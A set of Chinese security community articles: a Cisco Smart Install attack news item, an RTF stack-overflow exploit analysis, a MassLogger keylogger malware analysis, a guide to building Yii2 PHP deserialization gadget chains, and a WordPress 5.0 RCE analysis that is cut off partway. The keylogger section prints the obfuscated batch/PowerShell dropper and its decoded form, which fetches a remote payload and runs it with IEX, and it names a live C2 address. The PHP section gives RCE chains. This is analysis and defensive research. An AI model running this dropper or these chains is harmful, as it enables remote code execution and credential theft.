思科 Talos 团队认为，针对思科交换机的某些攻击是由 US-CERT 安全公告中说明的同一个组织执行的，该组织被指为“蜻蜓
(Dragonfly)”或称为“蹲伏的雪人(Crouching Yeti)”或“能量熊 (Energetic Bear)”。
## 攻击和思科 SMI 协议相关
这些遭“蜻蜓”黑客组织以及其它组织实施的攻击针对的是 Cisco Smart Install (SMI)
客户端，后者是一款老旧工具，旨在让思科交换机实现无触摸式安装，如今已被“思科网络即插即用 (Cisco Network Plug and
Play)”解决方案所取代。
产生缺陷的原因是，这些交换机的所有人未配置或禁用 Smart Install 协议，而SMI
客户端仍然在后台等待“安装/配置”命令，从而导致黑客利用这个被忘记的协议（1）修改 TFTP 服务器设置通过 TFTP
协议渗透配置文件；（2）修改交换机通用配置文件；（3）更换 IOS 操作系统镜像；（4）设置本地账户让攻击者登录并执行任意 IOS 命令。
## 在网上扫描到逾16.8万台启用 SMI 的思科设备
思科在2017年2月检测到滥用 SMI 协议的情况，当时它曾对客户发出警报信息；今年2月份，该团队又发出另一份警告信息。
对启用 SMI 设备（端口4786）的扫描工作始于2017年2月，扫描到的设备数量并在10月明显增多，而在今年2月份思科发出最新警告后数量翻了一番。
思科表示网上暴露了超过16.8万台启用 SMI 的思科交换机。Talos 团队不久前不仅发布操作指南供网络管理员禁用受感染设备上的
SMI，而其还发布了一款[开源工具](https://github.com/Cisco-Talos/smi_check)供扫描其它启用 SMI
设备的本地网络或互联网 IP 地址范围之用。
思科表示，这个“错误配置”问题和最近由 Embedi 研究人员在同样协议中发现的一个远程代码执行缺陷之间并不存在关联。尽管如此，如果管理员选择在设备上启用
SMI 协议，则应该将交换机的操作系统更新至包含该漏洞修复方案的版本。
## 思科 CVE-2018-0171 漏洞已遭大规模利用
4月6日，黑客组织 “JHT” 攻击了包括俄罗斯和伊朗网络在内的大规模网络基础设施，它利用的是思科 CVE-2018-0171 Smart Install
漏洞。黑客利用这个漏洞能将路由器重置为默认配置并向受害者展示信息。
易遭攻击的思科路由器遭 CVE-2018-0171 攻击后，路由器的配置文件即 “startup-config”
被覆写而路由器遭重启。这不仅导致受影响网络中断，而且管理员还发现路由器的 startup-config
文件被更改为一条内容是“不要干扰我们的大选…….-JHT
[[email protected]](mailto:[email protected])”。
路透社报道称，伊朗通信和信息技术部表示，全球超过20万台路由器受影响，其中3500台位于伊朗。伊朗通信和信息技术部部长 Mohammad Javad
Azari-Jahromi 在推特上指出，截止到美国东部时间4月6日下午4:12，伊朗95% 的受影响路由器已恢复正常服务。
攻击者告知媒体 Motherboard 称扫描了多个国家的易受攻击系统，不过仅攻击了俄罗斯或伊朗的路由器。他们还声称通过发布 no vstack
命令修复了所发现的美国和英国路由器上的这个漏洞。
4月7日下午5点，CNCERT旗下CNVD漏洞平台[紧急发布安全公告](http://www.cnvd.org.cn/flaw/show/CNVD-2018-06774)，对思科Smart
Install远程命令执行漏洞进行预警。 | 社区文章 |
先知技术社区独家发表本文，如需要转载，请先联系先知技术社区授权；未经授权请勿转载。先知技术社区投稿邮箱：[email protected]；
## **1分析环境**
操作系统：Window xp sp3
软件 ：Office 2003
## **2 基本信息**
漏洞类型：栈溢出
影响范围：Microsoft Office 2003 SP3版本、2007 SP2版本和SP3版本、 2010 Gold版本和SP1版本， Office
2003 Web Components SP3版本，SQL Server 2000 SP4版本、2005 SP4版本和2008
SP2版本、SP3版本和R2版本， BizTalk Server 2002 SP1版本，Commerce Server 2002 SP4版本、2007
SP2版本、2009 Gold版本和R2版本，Visual FoxPro 8.0 SP1版本和9.0 SP2版本和Visual Basic 6.0
Runtime版本
## **3漏洞分析**
样本MD5: 6734638ae4183aa634da2026a11e95ba
样本类型：rtf
这个样本是在漏洞利用经典的弹出计算器，在看见计算器的时候，我们知道已经成功利用成功，控制EIP,执行任意指令。
我们可以根据弹出的这个计算器，下一个执行断点，如图所示。
我们成功断到了WinExec这个断点，我们可以发现返回地址是栈地址，可以比较确定这次是栈溢出，我们执行完之后，然后返回到栈地址
这个时候我们用kb可以发现栈函数地址，这里可以用这个地址继续分析，但是我们用了另外一种分析方法，继续进行分析
我们返回到了栈地址，发现了shellcode,但是我们并没有在被覆盖的栈地址上面找到其他模块的返回地址
这个时候我们00127bed下内存写断点的方法，并通过观察内存的变化，来断到是什么操作导致了内存被覆盖，我们看见我们在这个地址下内存写断点是不可以的，提示数据点必须对齐，这个时候我们原地址减一就可以了
我们这个时候下了两个断点，由于在、内存写断点在栈地址空间，写入很频繁，观察栈地址需要无数步，这个时候我们又下个执行断点
我们只要一直按住F5就行了，直到弹出计算器，这个时候我们看看断点记录窗口，我们注意到在WinExec执行断点上面的断点是拷贝，我们重点关注下这个地址
由于MSCOMCTL.OCX模块开始并没有加载到内存中，我们在下一个加载断点
在加载后，我们这个时候在拷贝的地方下个断点，这个时候，看看拷贝的是不是shellcode
经过了几次F5，我们终于看到了拷贝的shellcode,这个时候知道了确实这里导致了溢出
我们返回后，发现拷贝函数是在275c89c7,我们看到这里只分配了0x14h大小的栈空间，我们重点分析下这个函数
我们通过分析这个函数，发现这里会进行两次拷贝，首先拷贝12个字节，这个时候栈中还剩8个字节，再次拷贝的时候，超过8个字节导致溢出
我们这个时候看一下shellcode的什么位置，我们可以看到样本是一个RTF文档，里面有一个objdata对象，我们将这个对象提取出来。
我们将里面的objdata对象提取，可以看到里面是OLE对象
我们将OLE对象提取放到offVIS中进行分析
我们可以清楚的发现其中的shellcode
我们在来看看如何控制复制的大小，下面是第一次复制的12个字节的数据，可以看到正式复制的shellcode上面的数据
可以结合IDA的伪代码进行分析，在拷贝了12个字节后，会对是否为Cobjd对象进行判断，然后对复制的大小进行判断通过动态调试可以发现比较的正是上面的0x008282。
# **总结**
这里我们知道漏洞的原理，主要是对复制数据大小的错误判断导致，本来这里只有8个字节的空间了，但是却判断是否大于等于8个字节，当构造的数据大于8个字节的时候，导致溢出 | 社区文章 |
# 一款由非PE加载起来的新型KeyLogger分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
样本来源于日常app.any.run的样本
样本MD5：71bdecdea1d86dd3e892ca52c534fa13
样本上传名：exe.PDF.bat
样本上传时间，就是今天（2020年9月10日）下午四点十分
可以看到any.run已经将其标记为恶意并且可以从 any.run的沙箱中看到恶意行为是执行了一段powershell指令。
在VT上查了一下样本，惊奇的发现，现在居然只有一家厂商给出了明确的报毒：Downloader.WannaMine
## 0x01 原始样本
原始样本的确是bat的文件，编辑工具加载后内容如下：
@echo off
Start /MIN Powershell -WindowStyle Hidden -command "$Dxjyp='D4@C7@72@72@02@E6@96@F6@A6@D2@02@37@27@16@86@34@96@96@36@37@16@42@02@D3@76@E6@96@27@47@35@96@96@36@37@16@42@B3@D7@22@F5@42@87@03@22@D5@56@47@97@26@B5@D5@27@16@86@36@B5@B7@02@47@36@56@A6@26@F4@D2@86@36@16@54@27@F6@64@C7@02@72@D2@72@02@47@96@C6@07@37@D2@02@67@D6@42@02@D3@37@27@16@86@34@96@96@36@37@16@42@B3@85@06@54@06@94@C7@72@92@72@72@76@07@A6@E2@23@13@14@F2@97@36@E2@D6@F6@36@E2@16@96@27@47@56@D6@F6@07@F6@47@F2@F2@A3@07@47@47@86@72@72@82@76@E6@96@72@B2@72@27@47@72@B2@72@35@72@B2@72@46@72@B2@72@16@F6@72@B2@72@C6@E6@72@B2@72@77@F6@72@B2@72@44@E2@72@B2@72@92@47@E6@56@72@B2@72@96@C6@72@B2@72@34@72@B2@72@26@56@72@B2@72@75@72@B2@72@E2@47@72@B2@72@56@E4@72@02@B2@72@02@47@72@B2@72@36@72@B2@72@56@A6@72@B2@72@26@72@B2@72@F4@D2@72@B2@72@77@56@72@B2@72@E4@82@72@D3@67@D6@42@B3@23@23@07@42@02@D3@02@C6@F6@36@F6@47@F6@27@05@97@47@96@27@57@36@56@35@A3@A3@D5@27@56@76@16@E6@16@D4@47@E6@96@F6@05@56@36@96@67@27@56@35@E2@47@56@E4@E2@D6@56@47@37@97@35@B5@B3@92@23@73@03@33@02@C2@D5@56@07@97@45@C6@F6@36@F6@47@F6@27@05@97@47@96@27@57@36@56@35@E2@47@56@E4@E2@D6@56@47@37@97@35@B5@82@47@36@56@A6@26@F4@F6@45@A3@A3@D5@D6@57@E6@54@B5@02@D3@02@23@23@07@42@B3@92@76@E6@96@07@42@82@02@C6@96@47@E6@57@02@D7@47@56@96@57@15@D2@02@13@02@47@E6@57@F6@36@D2@02@D6@F6@36@E2@56@C6@76@F6@F6@76@02@07@D6@F6@36@D2@02@E6@F6@96@47@36@56@E6@E6@F6@36@D2@47@37@56@47@02@D3@02@76@E6@96@07@42@B7@02@F6@46@B3@56@E6@F6@26@45@42@02@D4@02@C6@16@37@B3@92@72@94@72@C2@72@A2@72@82@56@36@16@C6@07@56@27@E2@72@85@54@A2@72@D3@56@E6@F6@26@45@42';$text =$Dxjyp.ToCharArray();[Array]::Reverse($text);$tu=-join $text;$jm=$tu.Split('@') | forEach {[char]([convert]::toint16($_,16))};$jm -join ''|I`E`X"
这是一段很简单的bat内嵌powershell代码，通过bat脚本隐藏窗口执行powershell代码，执行的代码为红色部分。
大概阅读一下这段powershell代码就可以知道这里是将前面的@符号替换并进行转换然后通过最后的I`E`X加载执行。
所以直接把最后面的I`E`X 更改为echo 然后把这一整段powershell代码抽出来保存到一个ps1文件中：
然后powershell窗口执行这个ps1脚本，通过管道输出到新文件中，解码出来的内容如下：
这段代码首先是通过$Tbone=’ _EX’.replace(‘_ ‘,’I’)声明了一个名为$Tbone的变量，这个变量实际就是IEX
接着通过sal M $Tbone给变量定义了别名M，可以看到M在程序最后有使用，这是一种免杀操作。
格式化一下代码如下：
$Tbone='*EX'.replace('*','I');sal M $Tbone;
do{
$ping = test-connection -comp google.com -count 1 -Quiet
}
until($ping);
$p22 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);
[System.Net.ServicePointManager]::SecurityProtocol = $p22;
$mv='(N'+'ew'+'-O'+'b'+'je'+'c'+'t '+ 'Ne'+'t.'+'W'+'eb'+'C'+'li'+'ent)'+'.D'+'ow'+'nl'+'oa'+'d'+'S'+'tr'+'ing(''http://topometria.com.cy/A12.jpg'')'|I`E`X;
$asciiChars= $mv -split '-' |ForEach-Object {[char][byte]"0x$_"};
$asciiString= $asciiChars -join ''|M
代码首先会尝试connection连接google.com保证网络畅通。
当确保网络畅通之后，代码在后面拼接一个对象，用于通过IEX执行一个下载指令，将下载回来的内容存储到变量$mv中，这里的下载链接为:
[http://topometria.com.cy/A12[.]jpg](http://topometria.com.cy/A12%5B.%5Djpg)
关于topometria，暂时没有相关的威胁情报。
最后，程序将下载回来的数据$mv 以 – 分割，然后作为byte数组加载执行
还好，现在样本能够正常下载回来。
## 0x02 下载回来的样本分析
下载回来的文件名为A12.jpg，用编辑器打开可以看到是一段以-分割的数据
根据之前的代码操作，可以知道这里会首先将-分割成一个数组，然后转成byte，我们知道最后的数据类型是byte，所以这里直接将- 替换为空格
然后以byte的形式赋值到010中：
这里可以看到，byte解码出来其实是一段脚本代码
通过010转换为文本即可看到源码：
所以这是一个3M多的script文件。
看到这种代码不要怕，观察一下就可以找到关键地方
我们首先看看脚本最开始的地方，首先是执行了$t0=-Join ((111, 105, 130)
这里的111 105 130 解出来就是IEX
所以最开始是同样的操作，给IEX声明了一个别名g用于后面调用。
然后程序声明了一个超级长的String，根据开头的[String]$nebj=’4D5A9>^>^3>^可以知道这里其实是一个PE文件，后面肯定会有操作把这里的
特殊符号替换为00
所以跳转到最下面的代码看看：
这里首先可以看到， 在刚才声明的长字符串最后，果然通过replace将特殊符号替换为了00
然后可以看到程序执行了一个 [Byte[]]$JJAr=PuKkpsGJ $CDbvWcpeO
这里可以看出来是将$CDbvWcpeO（暂时不知道是什么） 作为参数传递给了PuKkpsGJ 函数，PuKkpsGJ
函数运算之后会得到一个数组赋值给$JJAr
搜索找一下PuKkpsGJ 函数：
顺便找到了CDbvWcpeO的定义，这里可以看到，CDbvWcpeO是第二个PE文件。
PuKkpsGJ的功能也很简单，就是对传入进来的内容进行分割和转码。
关于这里处理后的数据之后再看，先看看后面的代码做了什么。
$y=’[System.Ap!%%%%#######@@@@@@@ ** ** ** _**_******
ain]’.replace(‘!%%%%#######@@@@@@@ ** ** ** _**_******
‘,’pDom’)|g;$g55=$y.GetMethod(“get_CurrentDomain”)
这类替换之后代码就是：
$y=’[System.AppDomain]’|g;
$g55=$y.GetMethod(“get_CurrentDomain”)
同样的，把下面几行的代码也替换了得到
$uy=’$g55.Invoke($null,$null)’| g
$vmc2=$uy.Load($JJAr)
$vmc2| g
这里很明显，就是最后Invoke load执行$JJAr，而这个$JJAr就是上面通过PuKkpsGJ 处理后的数组。
所以直接写一个ps脚本，把这段数据处理完之后写入到桌面的222.txt文件中即可
最后，程序还会通过
解码出第二个PE文件，这里看样子是通过InstallUtil安装，虽然不太看得出来这里是怎么加载起来的，但还是先dump出来后面看看。
计算一下文件hash，分别为：
8A738F0E16C427C9DE68F370B2363230
498EC58566B52AA5875497CADF513547
对应的检出情况如下：
498EC58566B52AA5875497CADF513547目前无检出，样本上传之后发现这应该是一个名为Mass KeyLogger的新版本键盘监听器
而且国外的厂家形容这是非常危险的新型木马
样本使用dnspy去混淆之后还是有比较好的可读性的，这里就大概看一下。
此外，dump_file2，也就是这个keylogger的资源中有个四个资源文件，后面可能会解密加载这些资源
首先在dnspy中定位到样本的入口点如下：
样本入口点是内部类xW的实例化函数xW()
在xW函数中，主要是调用了aP类的bx方法。
这里过来可以知道bx方法中调用的是pC4类的Fvq方法：
过来给Fvq方法设置一个断点：
在Fvq方法中，程序首先是加载了上面名为LR4Cc2YdSbtlPu3Gpn.gkaT3RqoEIxDLaxtck的资源数据
然后把资源赋值给了array数组，并在下面循环取解密这个资源数据
最后，程序将数据以键值对的方式存放到Dictionary中然后赋值给Jbgkf0diFn，再下面通过放射加载调用。
由于断点已经设置在了Fvq函数这里，直接程序F5过来
成功读取到元数据
成功解密，重新给array赋值：
成功生成字典：
得到要调用的对应的函数，用委托的方式反射加载
如下：
这里会遍历加载所有用到的函数
直接往后走，读取名为b7XmD97o14L13xFEcR.B1Pe7UrZbjaNUkiGSk的资源
解密一个数据放到array4
这里有一个超长的switch case，干扰分析用的
这个类的代码超级长，肯定不能直接走，但是这里我想，既然它读取了资源放到了array4变量中，后面肯定要操作这个变量的，所以直接对所有操作了aray4这个变量的地方设置断点
这里发现程序将array4的长度new了一个新的byte为array6，所以同样的，对array6所以操作点设置断点：
程序这里在动态解密array6
所以最后只保留一个array6的赋值断点即可
成功命中断点：
此时把array6给dump出来，这里应该是程序用到的所有的字符串信息
往下走，这里result返回回来会有一些用到的关键信息，包括要检测的杀软等：
后面的解密配置信息，包括ftp服务器的地址，账号密码等都是通过这里解密出来
在YWc类的sCo方法中获取一些机密信息并格式化，包括用户名，出口IP、国家信息、操作系统版本、位数、SerialKey、CPU、GPU、AV、Screen
Resolution、Current Time、Started、Interval、Process、Melt、Exit after
delivery、是否是Administrator、所有运行中的进程名和窗口名（应该是用于反调试检测）
获取到的完整信息如下：
{User Name: xxxxx
IP: 127.0.0.1
Country: CN
Windows OS: Microsoft Windows 7 家庭普通版 64bit
Windows Serial Key: YGFVB-xxxxx-xxxxxx-PTWTJ-YRYRV
CPU: Intel(R) Core(TM) i7-8700 CPU @ 3.20GHz
GPU: VMware SVGA 3D
AV: NA
Screen Resolution: 1920×1080
Current Time: 2020/9/16 12:25:50
Started: 2020/9/16 12:17:21
Interval: 96 hour
Process: C:\Users\xxxx\Desktop\xxxxxxx-cleaned.exe
Melt: false
Exit after delivery: false
As Administrator: False
Processes:
Name:dnSpy-x86, Title:dnSpy v6.0.5 (32-bit, 调试中)
Name:吾爱本地破解工具包, Title:Rolan
}
包括后续还会尝试获取各类邮件服务器的隐私信息
在JA类的KWk方法中尝试获取主流浏览器的隐私信息
将获取到的所有的信息添加到list中并返回
获取计算计算机的HWID
将获取到的信息都通过<|| 和||>拼接
由于这个样本的代码和功能类实在是太多，这里就不一一详细分析了
### 沙箱分析
直接把样本丢在any.run的沙箱跑一下行为：
看起来并没有反调试之类的东西，而且any.run已经识别出来这是一个massLogger了。
这个样本的C2为：192.185.155.49 : 21
这里的端口是21 应该是FTP服务登录的
解析出来的域名是nankasa.com.ar
其中api.ipify.org用于获取用户的出口IP
第二个数据包中就是上传的一些基本信息：
将数据包下载回来看一下，发现的确是FTP的方式进行通信的：
然后使用这个用户密码成功登录了攻击者的FTP服务器，这里的命名方式应该是
用户名 _地区_HWID_ 版本
这个文件内容就是从用户主机收集上传的信息，包括之前看到的基本信息以及后面收集的浏览器相关的内容。
成功获取一组facebook的账号密码：
这里应该是攻击者用于测试的账号密码
睡觉前又看到有新信息上传了 哈哈，但是新文件还是没有数据，应该还是测试或是其他分析人员传的。
但是第二天登录的时候，发现密码已经修改了，应该攻击者知道有人异地登录了服务器，于是舍弃了该木马。
## 0x04 小结
看来国外的大佬说此样本可能会取代AgentTesla的身份是有道理的，目前来看，该款木马功能比AgentTesla完善，代码结构更复杂，干扰分析的代码也很多，并且最直接的是，AgentTesla主要是通过多吃解密资源的方式加载，而MassKeLogger使用了多次非PE加载的方式，在这方面的技术已经比较成熟，这样做最直接的好处就是应该会有更好的免杀性。 | 社区文章 |
# 如何挖掘自己的php反序列化链
# 前言
Q:
为什么要写这篇文章？
A:
RCTF2020中的swoole一题刺激到我了（，那道题找了两天也找不到链。
再后来第五空间2020的那个laravel也是找了一天，最后还是靠phpggc做了次脚本小子。
我在想为啥我找不到链呢？故有此文。
PS: 虽然写的是一些总结性的东西。但作者也不过找到5条框架的链而已，见识还是太少。希望师傅们多多包涵，加以指正。
# 简单介绍
在使用php的反序列化漏洞前需要两个条件
1. 可以进行反序列化的点
2. 合理的pop chain
这一对组合拳形成的反序列化漏洞可以进而造成RCE、文件读写、信息泄露等危害。
本文不会对形成反序列化漏洞的点，进行讲解，其它大师傅已经讲解的十分详细了。
这里就我这两天的挖链经历进行一个总结。
# 总则
我在挖链的途中总结出以下两点
1. 变量可控
在危险的函数和结构上的可控变量要尽可能的多
2. 扩大影响
尽可能的去寻找可以扩大攻击面的结构与方法
我们接下来的pop chain构造便一直基于这两点
# 寻找起点
序列化是将对象的属性进行格式的转换，但不会包括方法。所以如果想要反序列化达成恶意的操作必须需要方法的执行。
对于起点来说，我们自然是要找到可以自动调用的方法。常见的可以自动调用的方法便是魔术方法。魔术方法的介绍有很多，这里就不详细介绍了。
目前只有两个魔术方法可以被使用
1. `__destruct`
2. `__wakeup`
其中，最为常用的魔术方法是`__destruct`，其特性是对象被销毁前被调用。从系统结构的角度讲，其最常见的场景是关闭某些功能。比如关闭文件流，更新数据等。但从反序列化的角度讲，其特殊的使用场景，代表在这个方法内可能会调用类内的其它方法。
而另一个`__wakeup`方法就不太常用了，其特性是反序列化时进行调用。那么可以想象开发人员在对其进行编写时，可能会将其作为一个“进行反序列化时属性合法性校验的”方法。
最经典的就是`GuzzleHttp`包中的`GuzzleHttp\Psr7\FnStream`类，其内部存在大量变量可控的危险函数。但以下这一个方法就直接避免了这个方法被恶意使用。
public function __wakeup()
{
throw new \LogicException('FnStream should never be unserialized');
}
当然也不是没有使用了`__wakeup`的链，只不过从各个方面来讲，`__destruct`确实更好用一些。
接下来再看一个例子。
[phpggc](https://github.com/ambionics/phpggc
"phpggc")是github上的一个项目，其存储着大量反序列化链，可以说是反序列化的武器库。
其存储了大量的laravel框架的RCE反序列化链，仔细观察发现一共6条反序列化链，5条都使用了同一个类作为起点，还有一条也间接调用了此类。其便是`PendingBroadcast.php`下的`__destruct`方法
public function __destruct()
{
$this->events->dispatch($this->event);
}
为什么这个方法会变成公交车呢？
我认为共3点
1. 可自动调用
2. 参数可控
3. 攻击面广
自动调用自然不必多说，`__destruct`方法嘛。但值得注意的是其参数，和结构。
我们可以看到`$this->events`和`$this->event`都是可控的，这意味着我们的链可以有两条走向。
其一是将`$this->events`赋值为没有`dispatch`方法的实例，来调用其`__call`方法。
其二是去调用各种类中`dispatch`方法，如果有的`dispatch`中有危险的函数或者结构，那就考虑使用它。
这样就大幅扩大了我们的攻击面。
# 跳板挑选
所谓的跳板，就是在方法和方法、结构和结构、方法和结构之间的跳跃。
常见的例子是一些字符串函数，例如`trim`，如果其参数可控，我们将其赋值为存在`__toString`方法的对象即可调用这个方法。
还有类似于`call_user_func($this->test);`或者`$test();`这种只能调用没有参数的函数的结构。出来简单的调用phpinfo以外，我们也可以考虑将变量赋值为`[(new
test), "aaa"]`这样的一个数组。就可以调用`test`类中的`aaa`公共方法。
再者，就是`new $test1($test2,
$test3);`这样的结构也可以调用`__construct`方法。或者像RCTF2020-swoole一题一样，新建一个PDO对象来进行mysql的load
file。
总之，就是不计一切代价扩大链的可能性，为寻找到可以利用的方法提供机会。
# 终点
终点在我看来有两类
1. 危险动态调用
2. 危险函数
动态调用就是像`($this->a)($this->b)`或者`$this->a[0]($this->b)`或者这样的危险动态调用。
危险函数，就是根据目的寻找需要的函数。如要RCE，则寻找类似于`call_user_func`，`array_walk`这样的会进行函数调用的函数。如要FW，则寻找`file_put_content`这样的函数…
# 实战演练
这里稍微讲一讲Yii2框架的链吧。当时搜了一波文章好像也没有。
环境准备我就不详细写了
composer create-project yiisoft/yii2-app-basic app
composer+docker+vscode一把梭
## Yii2/RCE1
首先全局搜索`__destruct`和`__wakeup`这两个魔术方法。可以使用grep命令`grep -A 10 -rn
"__destruct"`。或者直接使用vscode的全局搜索也可。
最后我将其定位在`yii\db\BatchQueryResult`类中的`__destruct`
public function __destruct()
{
$this->reset();
}
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
可以看到，就像我刚才说的一样，这里既可以调用`__call`方法，也可以调用`close`方法。
在搜了一波`__call`方法感觉没戏后，这里我选择调用了`close`方法
全局搜`grep -A 10 -rn "function[[:space:]]close"`，或者vscode
这里我选择了`yii\web\DbSession`类中的`close`方法
public function close()
{
if ($this->getIsActive()) {
// prepare writeCallback fields before session closes
$this->fields = $this->composeFields();
YII_DEBUG ? session_write_close() : @session_write_close();
}
}
首先调用了父类的`getIsActive`方法
public function getIsActive()
{
return session_status() === PHP_SESSION_ACTIVE;
}
可以看到其对会话的状态进行了一个判别。这里我意外发现，只有当Yii的debug和gii这两个默认扩展都存在（不一定要开启）时，这里返回true。否则返回false。这里我还不知道为什么，希望有师傅可以解答...
这里算是这条链唯一的缺憾了吧...
总之返回true后继续调用了接口类`yii\web\MultiFieldSession`的`composeFields`方法
protected function composeFields($id = null, $data = null)
{
$fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
if ($id !== null) {
$fields['id'] = $id;
}
if ($data !== null) {
$fields['data'] = $data;
}
return $fields;
}
芜湖，发现了个可控的`call_user_func`，但可惜参数无法控制，传入一个对象为参数的可用函数也不太多。那就像我刚才所说，赋值为`[(new
test), "aaa"]`这样的一个数组。就可以调用`test`类中的`aaa`公共方法。
那么有没有这样的公共方法？
`grep -A 10 -rn "public[[:space:]]function[[:space:]].*\(\)"`
最后我找到了`yii\rest\IndexAction`中的`run`方法
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
return $this->prepareDataProvider();
}
这下两个都可控了。
## Yii2/RCE2
因为上一条链受扩展影响，所以打算再找一条
这次我定位到`\Symfony\Component\String\UnicodeString`的`__wakeup`类
public function __wakeup()
{
normalizer_is_normalized($this->string) ?: $this->string = normalizer_normalize($this->string);
}
我看了一下`normalizer_is_normalized`这个函数，其要求参数是字符串。参数又可控，那就调用`__toString`方法吧。
最后我找到了`\Symfony\Component\String\LazyString`的`__toString`方法
public function __toString()
{
if (\is_string($this->value)) {
return $this->value;
}
try {
return $this->value = ($this->value)();
} catch (\Throwable $e) {
//...
}
}
啊这...结合最后一部分一打不就完事了？
喜加一
# 防御策略
## 动态调用与危险函数
1. 在写到动态调用和危险函数时，务必对变量和方法进行回溯。查看变量是否是可控的。
2. 在容许的情况下，使用静态属性进行动态调用可以防止可控变量调用危险函数。
3. 在调用`$this->aaa->bbb()`这样类似的结构前可以利用`instanceof`进行检查，查看其是否是期望调用的类。
## 方法
1. 注意尽量少的在魔法方法中写入可以调用大量其它方法的方法。尤其是`__destruct`和`__wakeup`。
2. 注意在公共且不需要参数的方法中不要直接调用危险函数和动态调用。
3. 在不需要`__wakeup`方法且类没必要序列化时，可以考虑使用`__wakeup`阻止反序列化。
## 最最最最最重要的
不要让unserialize和文件类函数用户可控！！！
不要让unserialize和文件类函数用户可控！！！
不要让unserialize和文件类函数用户可控！！！
# 后言
emmm ~~感觉写了一篇水文~~
那就这样，这里放上我fork的[phpggc](https://github.com/AFKL-CUIT/phpggc
"phpggc")，有想学习上面几条链的师傅可以看看
如有错误还请指出！ | 社区文章 |
**作者：启明星辰ADLab
公众号：<https://mp.weixin.qq.com/s/9DMGLOvFJUjq8MaMr9eg6A>**
### **一、漏洞介绍**
2月19日，Rips在博客上披露了一个关于Wordpress
5.0.0远程代码执行漏洞（<https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/>）。该漏洞为CVE-2019-8942和 CVE-2019-8943组合漏洞，漏洞代码在Wordpress核心中已存在了6年。
漏洞由三部分构成：
* (核心问题)PostMeta可以被覆盖。攻击者可以控制POST中`meta_input`字段的值，从而自由更改`wp_postmeta`表中的`meta_key`与`meta_value`的值。
* 更新附件时，攻击者可自由设置对应附件的`_wp_attached_file`的值，并结合裁剪功能实现目录穿越，从而将恶意图片保存到任意目录。
* 更新文章时，攻击者可以自由设置文章的`_wp_page_template`的值，并结合模板功能实现本地文件包含，从而最终造成代码执行。
### **二、漏洞分析**
#### **2.1 Post Meta覆盖(核心问题)**
当编辑一个POST时会调用`edit_post`方法，`wp-admin/includes/post.php:208`
此时会将`$_POST`赋值给`$post_data`。
然后`$post_data`的值又会被带入到`wp_update_post`函数中。
跟踪`wp_update_post`函数，`wp-includes/post.php:3969`
在该函数末尾，都会调用`wp_insert_post`函数，并将$postarr传入到该函数中，`wp_insert_post`函数略长，在该函数中有这样一段代码，`wp-includes/post.php:3779` 。
对`$postarr['meta_input']`做一个遍历，并将键值都带入到`update_post_meta`函数中，该函数内容如下：
调用了`update_metadata`函数，对应的`$meta_key`和`$meta_value`都是攻击者可控的。该函数主要功能就是`wp_postmeta`表进行更新和插入。
`wp_postmeta`表结构如下:
通过该函数，攻击者可以自由增加和修改对应`post_id`的`meta_key`和`meta_value`的值。
#### **2.2 目录穿越问题**
目录穿越问题是以Post Meta覆盖为铺垫的。
在`wp-admin/includes/ajax-actions.php:3520`
在`wp_ajax_crop_image`函数中，第一行就传入了一个`$_POST['id']`参数。
然后还传入了`$_POST['cropDetails']`参数。都是攻击者可控的。并将这些值带入到了`wp_crop_image`函数中，函数体如下：
在28行，会进入该if，传入的$src是攻击者可控的，带入到`get_attached_file`函数中，函数体如下：
调用`get_post_meta`函数，将`wp_postmeta`表里对应的`post_id`字段`meta_key`值为`_wp_attached_file`的`meta_value`值查询出来并返回。由上文可知，该值是攻击者可以自己覆盖的，是可控的。
回到`wp_crop_image`函数，返回后的值赋值给`$src_file`并判断该文件存在与否。若不存在则调用`_load_image_edit_path`函数，跟踪该函数：
进入第二个if分支中，调用`wp_get_attachment_url`函数，查看该函数：
如上图标注的所示，最后形成的是一个url链接。
如果攻击者将`meta_value`更改为 `2019/02/evil.jpg#/../../../../../theme-compat/evil.jpg`
，最后形成的url就是这样:
`http://localhost/wp-content/uploads/2019/02/evil.jpg#/../../../../../theme-compat/evil.jpg` 。
并将这个url层层返回到`wp_crop_image`函数，并带入到了`wp_get_image_editor`函数：
跟踪该函数：
其中有一步细节的操作是在`_wp_image_editor_choose`这个函数中:
Wordpress提供了两种方式来处理图片，Imagick是优先级最高的，GD其次。这个顺序会影响最终环境的利用。
而Imagick和GD对图片也有不同的处理：
* Imagick不会去除掉图片中的exif部分，所以我们可以将待执行payload代码加入到exif部分。
* GD会去除图片的exif部分，并且其中的phpcode很难存活。除非通过精心构造一张图片才可以。
在这里我们选择Imagick库，选择好图片处理库之后就返回该库并调用load方法加载URL:
**这里有一个坑点，就是Imagick处理类的load函数中调用的是readImage函数，但在高版本的Imagick上该函数不支持远程图片链接，因此我采用Imagick-6.9.7来复现，环境如下图：**
调用完load函数后，就是对获取到的图片内容进行裁剪处理，然后把新生成的图片进行保存，查看保存新文件的操作(造成目录穿越的终点):
`$dst_file`是保存的文件名，生成规则如上图标注所示。因此生成最终文件路径为:
`uploaddir/2019/02/cropped-evil.jpg#/../../../../../theme-compat/cropped-evil.jpg`。
这里有一个注意点，就是会先调用`wp_mkdir_p`函数来创建目录，然后再调用save函数保存文件。
save函数核心如下图：
这里调用了make_image函数，函数体如下：
**这里又有一个坑点，这里会用`call_user_func_array`函数来调用Imagick的writeImage函数，并将$filename传递进去，值得注意的一点是该函数在Linux下不支持不存在的目录跳转。**
但是为了达到目录穿越的目的，我们这里传入的$filename就是`uploaddir/2019/02/cropped-evil.jpg#/../../../../../theme-compat/cropped-evil.jpg`。
由于cropped-evil.jpg#是个不存在的目录，因此该函数会调用失败抛出错误终止流程，自然也无法调用fopen和fwrite进行写文件的操作。
借助多次上传裁剪就可以绕过这个坑点，但是生成的新图片又有什么用呢？
#### **2.3 本地文件包含**
在`wp-includes/template-loader.php:55`
这里调用了`get_single_template`函数：
第一行获取请求的对象。当我们通过路由浏览文章时这里会返回`WP_Post`对象，其中包含文章的一些属性。
然后将该对象带入到了`get_page_template_slug`函数中，函数体如下：
根据`post_id`从`wp_postmeta`表中取出`meta_key`字段值为`_wp_page_template`的`meta_value`的值并返回。
